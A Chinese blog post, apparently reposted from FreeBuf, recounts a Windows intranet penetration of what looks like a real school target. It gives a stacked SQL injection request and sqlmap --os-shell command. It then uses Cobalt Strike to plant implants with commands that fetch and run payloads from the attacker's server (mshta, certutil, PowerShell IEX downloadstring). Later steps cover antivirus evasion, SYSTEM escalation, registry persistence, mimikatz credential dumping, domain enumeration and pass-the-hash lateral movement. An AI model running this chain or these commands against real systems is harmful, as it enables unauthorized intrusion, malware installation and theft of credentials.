记一篇内网渗透(初识+实战) – 作者:yangyangyanga

前言

最近找到一个可注入点:

POST http://target_ip/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp HTTP/1.1
Host: target_ip
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target_ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target_ip/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp?dir=\PhotoUpload\photoupload\1_%A4@%A6~%AF%C5&txtStdID=1&txtSchoolYear=109A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASPSESSIONIDCADTTSAT=DEJLKGJALIKBNHGNEIDBINDO
Connection: close
txtSchoolYear=109A&txtStdID=2*

数据包如上

Get Shell:

经过简单手工测试,发现这边存在堆叠注入。

话不多说,上sqlmap。

python sqlmap.py -r 1.txt –random-agent –level 5 –risk 3 –technique S –os-shell

成功拿到os-shell

上线:

Server:

./teamserver x.x.x.x  passwd

Client:

由于是第一次使用cs 这边就本次渗透过程中主要用到的几个个模块稍作总结:

Listener:

dns/reverse_dns_txt:使用DNS的TXT类型进行数据传输,对目标进行管理
dns/reverse_http:使用DNS的方式对目标主机进行管理
http/reverse_http:使用HTTP的方式对目标主机进行管理
https/reverse_https:使用HTTPS加密的方式对目标主机进行管理
smb/bind_pipe: 使用SMB命名管道通信
foreign/reverse_http: 将目标权限通过http的方式外派给metasploit或empire
foreign/reverse_https: 将目标权限通过https的方式外派给metasploit或empire
foreign/reverse_tcp: 将目标权限通过tcp的方式外派给metasploit或empire

具体可参考:

https://blog.csdn.net/qq_45434762/article/details/110298161

这里我们选择 http/reverse_http

图片[1]-记一篇内网渗透(初识+实战) – 作者:yangyangyanga-安全小百科

Attacks:

  • Packages:
图片[2]-记一篇内网渗透(初识+实战) – 作者:yangyangyanga-安全小百科

HTML Application        生成恶意的HTA木马文件
MS Office Macro         生成office宏病毒文件
Payload Generator       生成各种语言版本的payload
USB/CD AutoPlay         生成利用自动播放运行的木马文件
Windows Dropper         捆绑器,能够对文档类进行捆绑
Windows Executable      生成可执行exe木马
Windows Executable(S)   生成无状态的可执行exe木马
  • Web Drive-by
Manage                    对开启的web服务进行管理
Clone Site                克隆网站,可以记录受害者提交的数据
Host File                 提供一个文件下载,可以修改Mime信息
Scripted Web Delivery     为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack      使用java自签名的程序进行钓鱼攻击
Smart Applet Attack       自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(已过时)
System Profiler           用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish               用来邮件钓鱼的模块

这里我们使用HTML Application 和Windows Executable(S) 作示范:

  • HTML Application :

设置listener:

1609382837_5fed3bb5298306d7a8b8a.png!small?1609382837428

生成.hta文件:

1609382916_5fed3c04a051b8213af97.png!small

通过Web Drive-by中的Host File 将本地的hta文件映射到服务器的相关端口下1609382934_5fed3c168cf991228890c.png!small?1609382935222

1609382969_5fed3c3920cf8ad4717bd.png!small?1609382969426

执行木马文件:

在os-shell中执行:

mshta http://server_ip:80/download/file.ext

很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分。HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“古老”方式之一。运行Microsoft HTML应用程序主机的Mshta.exe,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。您可以使用Microsoft MSHTA.exe工具解析这些文件。

  • Windows Executable(S) :

选择listener:

1609382994_5fed3c52e162d2ceb6ebc.png!small?1609382995231

生成ps1文件:

1609383114_5fed3ccad705d3679050a.png!small?1609383115259

同样 通过Web Drive-by中的Host File 将本地的ps1文件映射到服务器的相关端口下1609383128_5fed3cd89e5186d92db6f.png!small?1609383129172

Certutil 是一个 CLI 程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务, CA 组件的备份和还原以及验证证书、密钥对和证书链,它作为证书服务的一部分安装。

使用以下命令将我们生成的木马文件下载到宿主机上:

certutil.exe -urlcache -split -f http://server_ip:80/download/file.ext

同时我们也可以通过:

certutil -encode/-decode参数 在一定程度绕过杀软。

  • Scripted Web Delivery

其实也可以直接使用该模块来上线:

1609383187_5fed3d13eb035cddfadfc.png!small?1609383188357

生成的脚本如下:

1609383205_5fed3d254a8b623b925ef.png!small?1609383205653

os-shell执行:

powershell.exe
-nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://server_ip:80/a’))”

权限提升/权限维持

之前get_shell的那台server被设置了不可出网down掉了,这边暂时使用可用的server来做演示。

1609383287_5fed3d773c8a374b73f28.png!small?1609383287628

可以看到目前我们的beacon权限已为system,但我们维持会话的进程在powershell.exe中,很容易down掉,所以这边我还是进行了一次提权操作,看看提权后的会话会是在哪个进程中。

  • 查看系统信息:
shell systeminfo

打的补丁还挺多的:

1609383350_5fed3db6afcb6231a39c7.png!small?1609383351171

权限提升:

  • 梼杌taowu插件:

taowu是一款很强大的cs扩展插件,里面集成了众多exp与一键脚本。

项目地址:https://github.com/pandasec888/taowu-cobalt-strike

  • 使用SweetPotato进行提权操作:

1609383374_5fed3dce2e2e8b55ee953.png!small?1609383374521

成功提权:

1609383411_5fed3df302fbd3a606c8b.png!small?1609383411384
1609383465_5fed3e29e764831f119b0.png!small?1609383467283

可以看到提权成功后新增了一条会话,权限为system,且process运行在werfault.exe中

权限维持:

关于权限维持其实有很多种方式,taowu中也有一些自带的一键脚本

这边我们尝试使用注册表添加启动项的方式:

1609383483_5fed3e3b31bb60b575f9e.png!small?1609383483802

添加成功:

1609383508_5fed3e5450292f7693b99.png!small?1609383508878

内网信息搜集:

端口扫描:

1609383527_5fed3e671650c4dea97c2.png!small?1609383527809
1609383549_5fed3e7db46c5d3599a80.png!small?1609383550267

通过我们已获得的beacon扫描内网中开放相应端口的主机,扫描结果可以在目标 targets中查看:

1609383567_5fed3e8f67defc4c3863c.png!small?1609383567724

获取凭证:

运行mimikatz

1609383588_5fed3ea4bf7ddada00612.png!small?1609383589254

然后在凭证信息中查看相关用户名和口令:1609383601_5fed3eb18e5b19fb5a834.png!small?1609383602280

我们很幸运地找到了admin用户,以及他的密码。

域信息搜集:

不知道为何在AD2上命令总出错,考虑有杀软,这边换AD3来演示相关命令。

  • 查看本地用户组
shell net localgroup

1609383628_5fed3ecc10019808a8e05.png!small?1609383628682

  • 查看管理员组:

shell net localgroup Administrators

1609383648_5fed3ee08f49e00bce78f.png!small?1609383649155
  • 查看当前域:

shell net config Workstation

1609383669_5fed3ef50d49afaa833e9.png!small?1609383669538
  • 查看内网中有哪些域:

shell net view /domain

1609383697_5fed3f11f24bec53100a1.png!small?1609383698405

此条命令依然无法使用- –

  • 查看域控:

shell dsquery server

1609383717_5fed3f25095786304bba4.png!small?1609383717295

shell net group “domain controllers” /domain

1609383735_5fed3f37906b2e4c1ae39.png!small?1609383736301

横向移动

通过hash传递 横向获取其他主机beacon

Cs4.0使用手册中介绍的方法共5种:1609383750_5fed3f4678b0418a4bd41.png!small?1609383751253

Cs4.1中自带的jump方法一共有7种:

1609383768_5fed3f58940c0e68a1234.png!small?1609383768967

猜测其余两种应该跟ssh有关,这边我们选择psexec_psh,运行一个powershell程序。1609383783_5fed3f67840c98fe633de.png!small?1609383784221

成功jump

1609383801_5fed3f79051baec085f7e.png!small?1609383801422

接下来就是老一套的,权限提升+权限维持。

通过提取进程中的令牌信息

查看本机进程,选择通过admin用户创建的进程,Steal Token

1609383836_5fed3f9c5607030718b3b.png!small?1609383836757

选择我们刚刚使用的会话,勾选使用当前会话的token

1609383849_5fed3fa904521cd6de957.png!small?1609383849686

效果是一样的

1609383862_5fed3fb6ca65e65f81d33.png!small

后记

记录一个小问题:

当目标主机不被允许出网时怎么办?

这里能想到的其中一个解决方法 来自于Listener模块:

SMB/bind_pipe:

Beacon SMB使用命名管道与一个父Beacon进行通信,在由这个父Beacon与服务端通信,相当于一个桥梁,(因为Windows可以将命名管道通信封装在 SMB 协议中与远程主机进行通信,所以得名 SMB Beacon)

简单来说它会在我们指定的会话主机与我们想要拿下beacon的主机之间打通一条由SMB协议封装的tunnel,由于是smb协议,所以使用时需注意两个问题:

1.目标主机能够通过smb协议开启smb服务。
2.我们的访问权限要能够使用smb协议连接对方主机。

使用方法很简单,只需在listener中add一条smb/bind_pipe,然后在进行横向时选择它即可。

1609383891_5fed3fd3625b183650cdc.png!small?1609383892158

成功jump后,通过该pipe创建的会话后会有一条管道标识。1609383904_5fed3fe037c9f246a0738.png!small?1609383904649

1609383940_5fed40046161d2a6c510f.png!small?1609383940691

通过视图来看会更加直观一些。

1609383958_5fed4016483110d9cfb45.png!small?1609383958818

太菜了,暂时只能写到这么多,还在学习中。

来源:freebuf.com 2020-12-31 11:09:45 by: yangyangyanga

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论